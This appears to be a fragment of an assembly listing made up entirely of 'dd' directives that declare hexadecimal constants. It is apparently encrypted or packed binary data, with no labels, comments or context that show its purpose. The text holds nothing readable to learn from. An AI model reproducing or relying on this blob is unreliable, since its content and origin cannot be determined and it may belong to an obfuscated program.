		dd 156645B5h, 0D65FDE32h, 168F933Dh, 94068832h,	31B5A5C3h
		dd 1560CB47h, 0ACC01132h, 10D61DFDh, 1AB57D53h,	0EA9CB5B0h
		dd 0DD8FE4CDh, 0FC668831h, 15664438h, 59B1773Eh, 3DA8AEC4h
		dd 90A13373h, 1F8CB6EDh, 15662230h, 9ED47C7h, 11A20B16h
		dd 15664DDBh, 60173A32h, 0C9A2564h, 0A369F3A5h,	0ECE6B13Ch
		dd 86E52DB2h, 1A661132h, 156694BAh, 3E14B32h, 0FC662232h
		dd 15661123h, 9B41FBADh, 0E0B29BFAh, 9A2E95BEh,	0D04AE1A7h
		dd 6C8D0930h, 9401B049h, 3678FDF1h, 94AD105Bh, 367857D9h
		dd 6CA5C55Bh, 0FC01D649h, 1566113Dh, 20D73947h,	73C6721Fh
		dd 141A9F11h, 459D672Ch, 0C878B48Ah, 0DB96139h,	552E4832h
		dd 4D2B6717h, 0E28B8D1Fh, 0D667B3CDh, 3E12D6Ah,	0FC661132h
		dd 15668823h, 41B2E4E6h, 0EF1BBAECh, 0E93EB96Fh, 700B13EFh
		dd 150CAD76h, 1A9E2232h, 156610B9h, 47007032h, 0EAD21454h
		dd 4D00C0BAh, 4F00C01Ah, 156683DBh, 0A39ADF32h,	286570F2h
		dd 5E1EA078h, 0E29949B1h, 0AD36BCE3h, 535B5F17h, 68BCAA61h
		dd 0CD57CE0Fh, 4DA76569h, 0C8A5A3C7h, 946A3139h, 657189D9h
		dd 94AD6D2Ah, 657123F1h, 0C88D902Ah, 0FC6AA839h, 1566443Eh
		dd 91A74A8Fh, 8A289CD4h, 8E1A27D7h, 1BFC1B9h, 9E9A28D1h
		dd 0F65334A7h, 1A067138h
		dd 96078F85h, 0F66ECB8Fh, 91691038h, 15668A45h,	1ABE7FCEh
		dd 15660BB0h, 12EF1E32h, 75668832h, 9E00AAB8h, 956943FDh
		dd 15661133h, 1AB5B1CEh, 0EA9F5FB4h, 128FDBCDh,	6E661132h
		dd 4985525Dh, 0AE35084Ah, 15662233h, 1A3DCF1Bh,	15668FB3h
		dd 0DDED2432h, 7497A954h, 0D54FA760h, 0DBE68CD4h, 12808477h
		dd 0A235ECCCh, 4E9811A2h, 1A3C78BAh, 156645BAh,	1ACCDA32h
		dd 15663DB5h, 1A8FE832h, 3664432h, 3C74CC56h, 0D62D4D36h
		dd 0A79653A0h, 48FF53Fh, 96662232h, 4BA526D6h, 1A3756CDh
		dd 0F7AF2945h, 0BB725F48h, 0A8334353h, 15668832h, 143BAEBBh
		dd 4F6CA8C0h, 1569953Dh, 0FC068832h, 15664434h,	47B10999h
		dd 0E2EDB532h, 42D8E053h, 19EF4432h, 0E3649316h, 689791E3h
		dd 1A3F40BAh, 156657BDh, 1568CB32h, 0C2051132h,	0B1C8FF88h
		dd 1DAF6EBh, 0CE05BF5Dh, 1562FDB3h, 1EF8832h, 3569F616h
		dd 9F6978E3h, 15661135h, 1567023Dh, 1D9F4432h, 1561CBFAh
		dd 181C1132h, 67EF6D5Bh, 1F8FEE57h, 39662232h, 26CE7FCAh
		dd 0A2BB8853h, 0BB8DC521h, 946FD305h, 84060DF1h, 949DA123h
		dd 840658D9h, 0BBA5A323h, 0FC6FE005h, 15668822h, 15862C74h
		dd 1F6B7710h, 545870FBh, 0DA365443h, 1562F967h,	0D6E72232h
		dd 2D4E48BFh, 0FEE7631Bh, 2D4E1DBFh, 0CD57DA6Fh, 0CD57D203h
		dd 156681DBh, 48EE2932h, 4F1FF1CCh, 9369C82Ch, 15668833h
		dd 9693EFC7h, 9EF26DEh,	1564AA16h, 0CB678832h, 97692469h
		dd 15662230h, 0C4ED4865h, 0CD30153h, 0EC6CA71Eh, 1567A63Dh
		dd 0D29F1132h, 0F66E61B7h, 15664538h, 1569CB32h, 96AB1132h
		dd 6955BDA5h, 0A9A0A20Dh, 33AE0D1Ah, 0F0EF444Eh, 15624DB3h
		dd 0D0E54432h, 61997736h, 9A3B1516h, 0FC3AAC36h, 15664438h
		dd 6813ECD0h, 79B7AAC7h, 219972AEh, 0D1E51F16h,	156ECB36h
		dd 99F31132h, 7B90B5E5h, 19ED9FACh, 0F6EF7116h,	1562D2B3h
		dd 0D6E58832h, 317AC336h, 9C35D76Eh, 11A590D1h,	44668832h
		dd 1566408Bh, 4CAD2332h, 49420DB5h, 1567093Dh, 449E4432h
		dd 0D4E7C3BBh, 15661136h, 446249B1h, 114230CDh,	3162AD6Bh
		dd 1EE11E6Eh, 0FC668832h, 15664434h, 66DEBA01h,	0E08FF6DCh
		dd 0FC9977E9h, 15664421h, 0ADC547F0h, 565BC366h, 0A630229Dh
		dd 304DE517h, 4725049Bh, 15661088h, 4FB0A132h, 450017CEh
		dd 0D2EEFF82h, 0FAE64954h, 95B17E43h, 0E2E630F5h, 4E9EAADCh
		dd 0FCCCE9CEh, 1566883Dh, 0A4A15E0Bh, 0CAC73341h, 0C3AD1BC5h
		dd 75284AB3h, 1A7AC38Ch, 0E2E7740Bh, 519C96CAh,	9430E96Dh
		dd 40BE601Eh, 403E4752h, 7533C98Fh, 488E8957h, 156650DBh
		dd 0CCCC8A32h, 69CE007Ah, 5DA1B3F0h, 0D057A48Dh, 7D1631C7h
		dd 11681448h, 0ED4FC6C9h, 7F29FE60h, 0FFE735E0h, 0DDB17773h
		dd 0FC3C581Bh, 1566443Bh, 7203ACC8h, 93C898DBh,	11DBDD1Eh
		dd 38664432h, 3CC32C12h, 3563F91Bh, 484F2D3Ch, 15664ADBh
		dd 0B6EC4432h, 78DD3045h, 0C48758B7h, 0BE9E71E8h, 1567A23Dh
		dd 469E1132h, 0D6E76BBBh, 15664436h, 9262E1B1h,	31ED352Eh
		dd 1DE48716h, 1A664432h, 156620B3h, 9E077132h, 9C33AC2Eh
		dd 11A3C5D7h, 96662232h, 39E115F7h, 9769D416h, 1566443Fh
		dd 15EC2D52h, 73661132h, 65E55AB3h, 316ACF53h, 9481AB65h
		dd 156615F5h, 11A10932h, 92664432h, 1A3A060Eh, 156607B4h
		dd 188FE832h, 80664432h, 3F5DA571h, 0DC458329h,	0CDA9CE3Ah
		dd 9E07BFB9h, 9C330606h, 11A390D7h, 96668832h, 39E140F7h
		dd 48F7E16h, 0C661132h,	0A3285A65h, 6A1593E0h, 0A306553Eh
		dd 0B18B40FEh, 44800164h, 1566408Bh, 4CA82332h,	9262D7B1h
		dd 753AAC06h, 8C84C554h, 0E796A25Dh, 0C868F853h, 0FC0677CDh
		dd 15664420h, 694FD853h, 0EF2FF57Fh, 92E79D73h,	0ABEE7C2Bh
		dd 0D207AACBh, 0FF94CEB7h, 15668D38h, 14ED4B32h, 0EC662232h
		dd 317A9A64h, 75624CB1h, 0FDA5F33Dh, 1566223Eh,	363B86E9h
		dd 0A37849B0h, 37F02650h, 156632DBh, 0D5CA2D32h, 0E8B8FB1Ah
		dd 0B2C33B90h, 51F4C003h, 0FC074954h, 1566883Dh, 9172C7EEh
		dd 92E6E039h, 1CFC2DCh,	4598D008h, 53648D8Ah, 1186E32Ch
		dd 754A8507h, 4DA589D6h, 1571C03Dh, 78F2232h, 26661132h
		dd 82B071E6h, 0C373C09Ch, 2C25A569h, 60948163h,	0A833D8BBh
		dd 1BC85EF7h, 4483198Ah, 488E10C3h, 0D657833h, 9E9ABD6Ah
		dd 0F672FBB7h, 1575F838h, 1888832h, 0D5C00233h,	0C1429E50h
		dd 3DD054Ah, 5F4B09C9h,	30F3CFB3h, 756CC107h, 6DF7752h
		dd 4607E958h, 15664589h, 4EB80B32h, 0F4DB92C7h,	146C6B1Ch
		dd 13E1C03Dh, 91692232h, 1566113Eh, 15600D3Dh, 95694432h
		dd 15662232h, 9769C909h, 15668818h, 1568C13Dh, 0FC062232h
		dd 15661137h, 0AFF5E101h, 74BECF09h, 9369F809h,	1566100Bh
		dd 9469E8CAh, 15664432h, 0CF96A354h, 0A0EF70BFh, 1F85A42Bh
		dd 15664DDBh, 0CFC2832h, 0CE06A367h, 88EDA15Ch,	1F8CB6EDh
		dd 1571A73Dh, 0FD061132h, 1566883Bh, 0C023DF47h, 38D77B55h
		dd 0F7E74848h, 35F8BA57h, 3122C553h, 0BC14273Eh, 310A9000h
		dd 0BE5C573Eh, 313A451Bh, 3122A33Eh, 0BE5CCE3Eh, 310A091Bh
		dd 0BC14413Eh, 0F78FD700h, 75661137h, 75623754h, 1574CE3Dh
		dd 198E2232h, 42661132h, 840910A2h, 40F53625h, 4B9F2686h
		dd 3152EE53h, 11A20B6Dh, 15664BDBh, 8F975732h, 0F6528A8Ch
		dd 0B10D9B24h, 0CE1FF6F6h, 3B87A7F5h, 15671BD1h, 0EA9F8832h
		dd 963D6006h, 0EA9326F6h, 963F3506h, 73068CF6h,	73FC5A88h
		dd 7FE8F5B3h, 1561F853h, 38818832h, 6BC97392h, 3152A94Dh
		dd 94859861h, 15668CF1h, 11A5C732h, 49423EB5h, 4F364252h
		dd 15EB876Bh, 74664432h, 1567AD3Dh, 429F1132h, 0D2E76FBBh
		dd 15664436h, 15629F67h, 0FA671132h, 315A0F6Fh,	14E04B6Eh
		dd 0ED662232h, 0EABE16DBh, 0DFE7E8CDh, 6D9DCD96h, 156629DBh
		dd 0BF736132h, 11326216h, 0D3C94B2Bh, 0FCDBA153h, 146CF23Ah
		dd 106D0C3Dh, 68F4432h,	7B662232h, 7209AF34h, 4D4218E1h
		dd 0AD12850Ah, 0BB4D763Dh, 884D41E2h, 1F859CEBh, 156DADCEh
		dd 0AF9B2232h, 0D5C691F7h, 0DFE786AEh, 0F4EBCFA9h, 0FC6CC133h
		dd 1566113Bh, 56D96944h, 0E7C5D383h, 2F8FA3A4h,	1479A960h
		dd 92DDDBEBh, 9433643Ch, 0EC2D60F1h, 72AD9069h,	5E319750h
		dd 9460AFF3h, 0C6381BC1h, 0F9959050h, 14183F43h, 949E1FEBh
		dd 0D40F08F3h, 429F384Ch, 0CF002F8Dh, 0F2A70B43h, 1689E337h
		dd 485DD6B3h, 0FAE7F6B0h, 124CCA9Bh, 7539DB1Bh,	0DBED7764h
		dd 32A3086Bh, 100E1153h, 48662232h, 753BF81Bh, 156686DBh
		dd 44D48832h, 0D1682BE9h, 3BE79B3Eh, 756C0DADh,	74931A64h
		dd 78D37353h, 0C090DCCCh, 95AC7DB2h, 0D8E6C9D7h, 9793A258h
		dd 19EDF9BAh, 11A20916h, 75664432h, 86A4A354h, 1563F91Fh
		dd 16348832h, 9ED70E0Fh, 0BF0779C5h, 156E9F3Dh,	93698832h
		dd 15664430h, 0DD574352h, 0DD57D003h, 0C7D98752h, 15664EDBh
		dd 0F7578532h, 8A0055A0h, 74395D7Fh, 156AAD99h,	65332232h
		dd 2C949D08h, 2FCE67B0h, 41360BA6h, 1562276Ah, 0D5E51132h
		dd 31620F36h, 156EAD6Eh, 0BB912232h, 0EAB4FF16h, 9ED2210h
		dd 0F6EF1716h, 1562E1B3h, 0D6E51132h, 317A0F36h, 9E9EB86Eh
		dd 9C30063Eh, 11A090D4h, 96668832h, 21E140F4h, 1E8F7E16h
		dd 4A661132h, 2C728E86h
		dd 90CF66FEh, 21ED19E6h, 0F6EF4216h, 15624BB3h,	0D6E54432h
		dd 317AA536h, 9C36E86Eh, 15628DD2h, 0AF344432h,	15662236h
		dd 923CC133h, 1A3AAC36h, 156645BCh, 0F48FDE32h,	7599EEEAh
		dd 0D2076F80h, 0FF949BB7h, 15662038h, 156BF832h, 9A788832h
		dd 2B0C2B39h, 8BE641A6h, 40368FC7h, 94337DBBh, 6BA9601Eh
		dd 943D5E94h, 0B318DEF1h, 78FD54Eh, 0BC664432h,	3CEAA5CCh
		dd 8A100BBCh, 143E9BAFh, 348C5F90h, 1BD02D82h, 1567963Dh
		dd 959F8832h, 9669C4CBh, 15662247h, 0D3E77752h,	0A269A97Dh
		dd 0AD3625C0h, 1B3C25ABh, 143ED233h, 8C8D09F9h,	0FC681E35h
		dd 1566223Ch, 0C8AB45ABh, 1B80FF50h, 675A9559h,	0AA31FB68h
		dd 1CA7538Ch, 0D181097Dh, 945A6676h, 1526A1DDh,	4A9D103Ah
		dd 1576003Dh, 1E8F4432h, 6F662232h, 0A8E0E0FBh,	7BAF8913h
		dd 838F2B9Dh, 0FC662232h, 15661123h, 0F5747A7h,	4E10FA7Dh
		dd 0AEA4DED5h, 3D9424C6h, 0A136EE47h, 108A8445h, 3D9AD6B2h
		dd 1A3E77D3h, 156689BFh, 128FB132h, 34662232h, 6D68245Ah
		dd 0AD36120Ch, 15664432h, 8B05F637h, 38AE3878h,	5FF8EBE6h
		dd 0ED3E85BBh, 0A3D97564h, 52498223h, 461347B3h, 0DAE772CAh
		dd 1F5A172Bh, 0E2E7C6C5h, 0D56600CDh, 3439BABBh, 949F7CC3h
		dd 37EC0D9h, 44ADA164h,	37E958Bh, 4CAD2364h, 1569F8CEh
		dd 0DE18832h, 9EEA6D98h, 1FB85449h, 0C02286CEh,	0CCE303F2h
		dd 756CA726h, 15662BDBh, 0B58A9232h, 0FE06EA8Eh, 1A075ED3h
		dd 156629B1h, 94007132h, 73D9F3EAh, 74A23088h, 2043B7B9h
		dd 9E691BD1h, 1566883Dh, 15664EDBh, 79DD3832h, 95720EFCh
		dd 0FC6BDB2Bh, 0EA99BF29h, 15662EDBh, 64164332h, 43E8A56Fh
		dd 46E32A8Dh, 0CAE3E5CBh, 176CFBC0h, 0FC668832h, 15664434h
		dd 0D03610A1h, 9E309B9Ch, 0D1E5AC2Eh, 1574AD36h, 0D9302232h
		dd 5AB07043h, 0E7004908h, 8C9BFB49h, 0F5765A52h, 0E968A73Dh
		dd 1AE671B2h, 156622B1h, 9B694232h, 15661130h, 0DFEDD763h
		dd 28DC553h, 944D5371h,	5733C8D9h, 94AD892Ch, 57339DF1h
		dd 2A5A32Ch, 1A4D6071h,	156698BEh, 156DAD32h, 4DDA2232h
		dd 0AA7C1052h, 9130CDB0h, 14DE144Fh, 14662232h,	450649F1h
		dd 0F12766B3h, 0AA39540Ah, 2CFD9484h, 151CF853h, 0FC9A8832h
		dd 15664435h, 0F024664Ch, 46C4CAE6h, 0C2908585h, 955B83B2h
		dd 0FAE6DFF5h, 9E9F391Fh, 0D1E5AC2Eh, 34DC2436h, 73729649h
		dd 0B7DBF6B3h, 94B77F53h, 156645F3h, 0AA31D732h, 19376291h
		dd 67C23062h, 0D24F4863h, 4A9F036Ah, 1574933Dh,	188F8832h
		dd 18664432h, 0A8117D8Dh, 0D24581DAh, 0BB067712h, 5B8687B3h
		dd 0DE4F3FABh, 5B86A962h, 0D64F95ABh, 14E94B6Ah, 0E9662232h
		dd 1BF94B9h, 198F82D1h,	21664432h, 3F60F06Dh, 8285120Ah
		dd 9E6A40A7h, 0F65361A7h, 19EC2D38h, 75661132h,	1566013Dh
		dd 0AC004432h, 1A07892Eh, 156618B7h, 1A9EE832h,	156644B8h
		dd 0A8E54332h, 1F8519DBh, 51E28733h, 7599BBC5h,	4E37DBB9h
		dd 1ABE2A53h, 1566BCB0h, 1CEC4B32h, 75662232h, 8A48B08Bh
		dd 7407E84Eh, 9369970Bh, 0EA99CFDAh, 1567943Dh,	0FC938832h
		dd 15664423h, 9BE389B9h, 0E3FA594Ch, 0B725527Dh, 2B9DF1A7h
		dd 9698A509h, 0EBE1EEF5h, 19EDDECAh, 11A2C516h,	0FC662232h
		dd 15661137h, 8B99967Ah, 45302408h, 1C8F7A6Ch, 1D661132h
		dd 1BEBAE39h, 0E22C17B2h, 9D8FA353h, 3C1ECA74h,	73D8DECBh
		dd 9435F066h, 7A74CCC4h, 4B971019h, 118A0BCEh, 0AF4250BBh
		dd 15662237h, 0FC3CC01Bh, 15668821h, 16E73D8Ah,	58559648h
		dd 0D706D293h, 0D3D3A685h, 73EFBEF3h, 9D8F9363h, 19ED77FAh
		dd 17A20916h, 75664432h, 94DAF2B2h, 42E3EADBh, 1ACCE975h
		dd 156645B3h, 0DD57DE32h, 0DD57D003h, 1567043Dh, 0BE9E4432h
		dd 0C194CBC7h, 4793EECDh, 15668888h, 9F944532h,	3172A930h
		dd 1562D5B3h, 92698832h, 15664433h, 1A8E1ECAh, 15665DB6h
		dd 15746132h, 0A6B24432h, 525E8C91h, 8201E283h,	735C6A3Bh
		dd 37186C97h, 19F79B63h, 0AE355D98h, 815A31Eh, 543D9D13h
		dd 151FD3B3h, 0D4E744E0h, 388FA8E0h, 0C3D085B3h, 0DDEF5A14h
		dd 298FED6Bh, 0FC668830h, 15664437h, 0AE71827Fh, 0F7EF43F9h
		dd 15624AB3h, 0FFE54432h, 3172A536h, 317A986Eh,	157D003Dh
		dd 9F694432h, 15662227h, 156601DBh, 0B721DB32h,	35930483h
		dd 9CC14F2Fh, 0A4040E9Eh, 47307132h, 1D345988h,	31322337h
		dd 943D4B36h, 1D3495D9h, 12E34B37h, 1A662232h, 156610B0h
		dd 44347032h, 982DFA8Bh, 1D8FE31Ch, 7275D0B3h, 0D4E7E0BAh
		dd 36962939h, 740ECBB3h, 0DFEF9D95h, 1694896Bh,	9E691E28h
		dd 15662239h, 15EB1E52h, 1A668832h, 43079285h, 1566278Ch
		dd 9E951032h, 0D1E5AC06h, 156EAD36h, 17802232h,	5E75E76Ah
		dd 0A4375C1Ah, 118CF4CCh, 39AE22D6h, 730648D6h,	0FC064FB9h
		dd 15664423h, 0FAF1CF70h, 3C352485h, 0CA547869h, 0B284002Ch
		dd 1575CB06h, 66501132h, 4E4A761Eh, 2E67A727h, 11C020EEh
		dd 0B79176A1h, 0BF07E973h, 2EB4B52h, 0FC662232h, 15661120h
		dd 15397AF0h, 0FABC7759h, 22E50F02h, 9D6B2Ah, 9B69A631h
		dd 15664421h, 15662CDBh, 6CB6DC32h, 0C4FECA9Bh,	3B63E6A1h
		dd 746F66A9h, 4631D2B3h, 0EE4FD9D2h, 77A3FD63h,	94272B8Dh
		dd 0D5622DBh, 9B970921h, 945AF10Eh, 757E4FF3h, 268F903Ch
		dd 3CE019E1h, 0AE061DF9h, 48DB4826h, 0C85FE0B3h, 400780BCh
		dd 1566405Ah, 0FE4F7F32h, 1568F86Fh, 198B8832h,	0B3465CCFh
		dd 1DD0F638h, 0D545A1Fh, 156698DBh, 0FFC20532h,	6BD374E6h
		dd 47D0DF17h, 0A9BC06DBh, 6A7B2C4Eh, 11EF2232h,	4E3E4216h
		dd 74A13D52h, 156649DBh, 639E4632h, 1222A81Fh, 6573DE46h
		dd 75CDA748h, 0FA109A54h, 3152EE53h, 11A20969h,	1A664432h
		dd 156623B3h, 7306E932h, 3C8978B3h, 46E1B7B3h, 470751C1h
		dd 16427965h, 0D4399D8Eh, 0CA914CDDh, 0FBD5B3h,	0D2E731AAh
		dd 35EB2197h, 1439BEBBh, 976978E4h, 15661138h, 3FE73652h
		dd 0AA69457Ch, 940643FBh, 0FAD4E9FBh, 0AD077D0Dh, 60484D55h
		dd 42789860h, 0F7A73B59h, 72940930h, 3CE7FC7Ch,	0F5A778E2h
		dd 0B6993C35h, 75060449h, 0F7DCB3B9h, 7412090Eh, 0D6075D83h
		dd 156686DBh, 50E39432h, 923F272Dh, 4C571D53h, 0FCD2C939h
		dd 1566443Bh, 24CA9968h, 0DCBA094Bh, 3293E001h,	19EF4432h
		dd 1576CB16h, 0E38B1132h, 0AF79FC6Ch, 0F172675Dh, 206025C4h
		dd 0EA005B6Eh, 11EDEE04h, 17A2C516h, 1A662232h,	15660EB8h
		dd 0CE58732h, 0FC664432h, 15662226h, 74E14837h,	1E3FB93Eh
		dd 73B6F073h, 2994C3E1h, 0F65D3FD7h, 91694B0Eh,	15664571h
		dd 156625DBh, 4F8B0632h, 0BF035B98h, 91698F0Eh,	1566231Dh
		dd 156605DBh, 3569A32h,	82FC54A0h, 0B56336F0h, 634D6DEDh
		dd 40CDF33Ch, 1AA4782Eh, 156778B6h, 0DF5AED32h,	14370C3Dh
		dd 18F4432h, 22662232h,	0B5394336h, 6B63FA5Bh, 42033AC7h
		dd 1F42683Ch, 0EDC0C448h, 3099B554h, 1404C03Dh,	58F2232h
		dd 8F661132h, 4B95DA22h, 0CE7B6A1Dh, 0A9944387h, 736A01E6h
		dd 1A99A60Fh, 15661CB7h, 19EF2D32h, 1A661132h, 15668EBDh
		dd 15ED4B32h, 47662232h, 15661388h, 428C0932h, 1413346Eh
		dd 42A4A3C0h, 9F13616Eh, 4793D230h, 0E546B484h,	944236B9h
		dd 156615F6h, 0CEE6E832h
		dd 0EB81C47Eh, 1AC61E53h, 156701B6h, 156D6132h,	403C4432h
		dd 953C01C7h, 0CFC0E11Dh, 316A03D6h, 1086CD62h,	15662236h
		dd 9262D1B1h, 753AAC36h, 0F2E72264h, 743EBD29h,	4350AC67h
		dd 0C891B553h, 435081B3h, 0FDEF1F53h, 94423DB9h, 15668CF6h
		dd 0E7E72432h, 7FE7E97Eh, 156605DBh, 0DDD18432h, 6EFE0ECh
		dd 607E7AB6h, 0B4AE8115h, 0E1461E42h, 5E8F25AAh, 75662233h
		dd 0F88F9054h, 17E187C6h, 75664432h, 249F4353h,	78E71FBh
		dd 6C668832h, 7CF9A6FEh, 0BC8D4A75h, 0C0EEC48Eh, 4F73E85Eh
		dd 0FFB8C5B0h, 4B0E3779h, 74504989h, 0A833E95Ah, 0EA99BBCDh
		dd 0E93BCB1Bh, 156697DBh, 5EF8732h, 0FC664432h,	15662239h
		dd 55C415B5h, 2F20A8Eh,	461FEF0Dh, 505D2789h, 30959023h
		dd 5607E827h, 6989A7B3h, 0E23532D6h, 943D3526h,	0CEB553D9h
		dd 4EBFCDDDh, 156EA03Dh, 96691132h, 15668830h, 298F2552h
		dd 0EC662232h, 1566175Ah, 316A0332h, 156280B3h,	0FC9F2232h
		dd 15661115h, 0B70ED8CEh, 4D2C2F0Dh, 206ECAF3h,	152C7A0Ah
		dd 31520962h, 6EE257A0h, 8797A36Bh, 4D1D9521h, 1567083Dh
		dd 0E6934432h, 14EE2D96h, 0E9661132h, 204305B9h, 90934ED1h
		dd 0E32DFBh, 0E9661132h, 20433DBBh, 1D8F4ED1h, 0C4662232h
		dd 14B767B6h, 0EC652A2Bh, 454248B9h, 1163C2BBh,	96661132h
		dd 11E18CF2h, 91691816h, 15662223h, 15661DDBh, 0AF0BE632h
		dd 0E9801167h, 0E2FA75E1h, 9DB4473h, 47600C04h,	5631A488h
		dd 749B9A04h, 0C55721F5h, 488EB968h, 156649DBh,	0EFF58B32h
		dd 0C7C80CA1h, 0A065828Dh, 0E9A5D1CBh, 7350DD54h, 944215B9h
		dd 15668AF6h, 1563AD32h, 0C6312232h, 29284E32h,	0D5E287F1h
		dd 75664433h, 74B0A954h, 1562FDB3h, 1EF8832h, 9DA0CC16h
		dd 460678C1h, 156600DAh, 0EBFC3932h, 339E7040h,	16FDA95Eh
		dd 4F22C7A6h, 4A3EBDC9h, 0D511F08Ah, 0A4374324h, 9EAD31C2h
		dd 0D1E5AC3Eh, 6E94B36h, 0FC662232h, 1566113Ch,	87230EFBh
		dd 0F858118Fh, 0E1112249h, 0EEE67FA3h, 49E28742h, 1A664431h
		dd 15662DBDh, 156CF832h, 91BA8832h, 77729521h, 0C5D3CABAh
		dd 9169F80Eh, 15668971h, 1575AC52h, 0CE622232h,	493E9900h
		dd 4E3DC26Dh, 0E47AD658h, 0AEC4831h, 0C2ED7742h, 0FBDCEE68h
		dd 0FE5A25E4h, 147FA63Dh, 1A061132h, 15668BB6h,	0D3D14B32h
		dd 0ED074252h, 0D75A7053h, 14670C3Dh, 9B694432h, 15662235h
		dd 1567933Dh, 759F8832h, 0FFF1FC54h, 156628DBh,	15AAC632h
		dd 9FCAD66Ch, 747C1413h, 9169E90Eh, 156611E5h, 0C3E7EE52h
		dd 9E0035DAh, 280043C8h, 916934CDh, 156688F1h, 1561CC3Dh
		dd 97692232h, 15661133h, 1AACB4C7h, 1566EAB6h, 14EF2D32h
		dd 0ED661132h, 91696B0Eh, 156646A9h, 1561AD3Dh,	93691132h
		dd 15668833h, 3B5B22C7h, 5CE32DCDh, 0E0661132h,	15643361h
		dd 0E6674432h, 9ED21B8h, 11A29016h, 75668832h, 74A7CF54h
		dd 0EFD07061h, 9DF6E7B2h, 0F6A6D2C1h, 92ADC436h, 95A2D1B2h
		dd 0CD4682C1h, 156F6169h, 68874432h, 0D1228A3Bh, 292E0E60h
		dd 55E28792h, 0ED664432h, 1566225Ah, 31629A32h,	15624CB3h
		dd 73064432h, 1A544D8Ch, 156615B8h, 87DEEE32h, 1C8F25A9h
		dd 0D9662232h, 0E5AD6DCDh, 42565170h, 156619DBh, 156FCB32h
		dd 0A4F21132h, 58083FB0h, 9CD1069Ch, 0F6530787h, 14EA1E38h
		dd 0E9668832h, 0C6AED9BFh, 198F28DBh, 0EA661132h, 7A623A43h
		dd 7C5A12FFh, 0EAC52604h, 156CF8E1h, 0C1098832h, 1CA215B7h
		dd 89873713h, 1566105Ah, 31620332h, 0FC6280B1h,	15662237h
		dd 0AA7F403h, 9E00E813h, 0EDA525C5h, 9487AB63h,	156615F3h
		dd 118F0B32h, 494248B5h, 0EC4226BBh, 947667CDh,	0B43AC06h
		dd 11ED7A35h, 11A2A116h, 12783407h, 156B610Ch, 0B5EB4432h
		dd 9A1A0165h, 63BFA12Bh, 9C2E87EEh, 0F66E8DB7h,	1575CB38h
		dd 2FB91132h, 517ED9C3h, 0EB31D186h, 0B0A16C17h, 235F5F4Dh
		dd 315277E6h, 11A2C76Ah, 9D975C7h, 94661132h, 0F332A4F4h
		dd 9498451Eh, 0F3320EDCh, 95694E1Eh, 15668833h,	0B8DBC9CAh
		dd 756CC138h, 0A0AC9A54h, 0EDCBE9F2h, 7908E137h, 31900F27h
		dd 51654CEDh, 0E363AC16h, 383B9B16h, 0A4C97h, 0AC004352h
		dd 0FC3F3118h, 1566443Dh, 0D1EFAD5Eh, 0A8A18733h, 71A0D68Ah
		dd 746535ACh, 18EE2D99h, 75661132h, 8FD3FF88h, 15EE4B79h
		dd 74662232h, 0ADFACBFh, 1A0682D1h, 1FD68785h, 1A068F53h
		dd 156610B7h, 94007432h, 745FB5FCh, 0FAD874CBh,	3C7C6552h
		dd 5165D6C2h, 0FA636016h, 1A7C5652h, 156617BDh,	739AE832h
		dd 45079CB9h, 1163C2BBh, 38661132h, 15668836h, 494240B5h
		dd 0ED4226BBh, 94697199h, 15668830h, 98071A85h,	0F66C538Fh
		dd 9E007138h, 749103EAh, 78FE9CAh, 0ED662232h, 0B08F8A2Bh
		dd 9FD784D3h, 20D94786h, 0D3A73879h, 34D94627h,	0E220B201h
		dd 108985E5h, 1F55D5B3h, 0ED4F283Dh, 31228B6Dh,	3133411Ah
		dd 0BE9E1EF3h, 0CCE77752h, 0AA005BA7h, 9E0787C9h, 9C340606h
		dd 11A490D0h, 96668832h, 1E140F0h, 95067E16h, 9E00C0D9h
		dd 0FCA5E9F5h, 15664439h, 4EA299C0h, 0B057513Fh, 47DD048Bh
		dd 0D7E7A6BBh, 15662236h, 9262FBB1h, 9C3AAC26h,	0FC066006h
		dd 15662222h, 5B68226Dh, 0D02174E8h, 979936B9h,	0DBB0EC37h
		dd 1567933Dh, 74938832h, 0C7A1D9BFh, 1F8F28DBh,	0A0661132h
		dd 6BDAB469h, 0D139125Ch, 1AB5DDBDh, 156619B7h,	17EF8732h
		dd 75664432h, 0E80CCB53h, 1C8FEECDh, 0DE668832h, 0D641EA2Ah
		dd 76D0E4FCh, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 4CC0D5F2h
		dd 96A8AF5Ch, 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h
		dd 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch
		dd 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah
		dd 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h, 0C4A4CE25h
		dd 0DCF14F60h, 0FFF83132h, 0D871BA80h, 42C3A8EDh, 0AEA2458Ah
		dd 60D558DDh, 0CF38C882h, 4620BE79h, 83C7DF07h,	0C6D55E42h
		dd 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh, 5B489420h
		dd 70B0D9FBh, 0AEA8AF58h, 0E96FDD7Bh, 51A25863h, 195FABA8h
		dd 0DCAA3075h, 0FFFBE232h, 0CB2F1680h, 1FC086CDh, 142B9675h
		dd 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 0E8000030h
		dd 0Bh,	0C64B31CEh, 0EE36C38Fh,	0FC5B468Ch, 0ACF0815Bh
		dd 812C089Bh, 59B9C3h, 301BBF00h, 0EF8167A0h, 67A019D0h
		dd 0FF8DD080h, 20B86633h, 0C1815995h, 32D3FB79h, 0ABC08166h
		dd 4AE9818Eh, 81772F4Eh, 6202D5C1h, 14E958h, 50120000h
		dd 0D2F5FAE5h, 22CA5ED4h, 0CAA66087h, 0BF13AA1Ah, 0E9513905h
		dd 0Bh,	5995BE8Ch, 0EFD354F7h, 8F830B53h, 890F6003h, 3
		dd 80DF8B66h, 83617EF2h, 666004EBh, 0CF80F08Bh,	0F4F6104h
		dd 0FFFF9685h, 14E8FFh,	9BA70000h, 0F5F6D2AFh, 5480F986h
		dd 0FB19983Ah, 35D1C242h, 36B4B4CDh, 68D0F5Bh, 81000000h
		dd 0CCDBB6D2h, 96C3816Ch, 66000068h, 7B4D281h, 1A03BEh
		dd 0FFBAB000h, 0AE833h,	0DFC10000h, 897F16D7h, 8B77BD54h
		dd 5AC3BF0Fh, 8127B659h, 464796F1h, 0A8C18104h,	80050193h
		dd 0C181B8ECh, 46897A4Bh, 0DB19BAh, 0F281517Fh,	23D0495Bh
